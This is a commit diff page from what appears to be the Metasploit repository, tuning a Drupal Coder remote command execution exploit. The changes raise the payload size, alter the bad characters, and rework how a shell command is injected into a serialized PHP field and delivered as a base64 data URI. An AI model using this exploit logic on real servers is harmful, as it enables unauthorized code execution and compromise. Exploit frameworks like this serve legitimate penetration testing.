Skip to content

Commit ba79579

Browse files
committed
Extending Space limitation up to 250
1 parent dadafd1 commit ba79579

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/exploits/unix/webapp/drupal_coder_exec.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -36,9 +36,9 @@ def initialize(info={})
3636
'Privileged' => false,
3737
'Payload' =>
3838
{
39-
'Space' => 225,
39+
'Space' => 250,
4040
'DisableNops' => true,
41-
'BadChars' => "\x00\x2f",
41+
'BadChars' => "\x2f",
4242
'Compat' =>
4343
{
4444
'PayloadType' => 'cmd',
@@ -80,10 +80,10 @@ def exploit
8080
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
8181
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
8282
p << 's:7:"new_dir";s:'
83-
p << (payload.encoded.length + 14).to_s
84-
p << ':"f --help && '
83+
p << (payload.encoded.length + 4).to_s
84+
p << ':"-v;'
8585
p << payload.encoded
86-
p << ' #";s:4:"name";s:4:"test";}}}'
86+
p << ';";s:4:"name";s:4:"test";}}}'
8787
payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
8888
send_request_cgi(
8989
'method' => 'GET',

0 commit comments

Comments
 (0)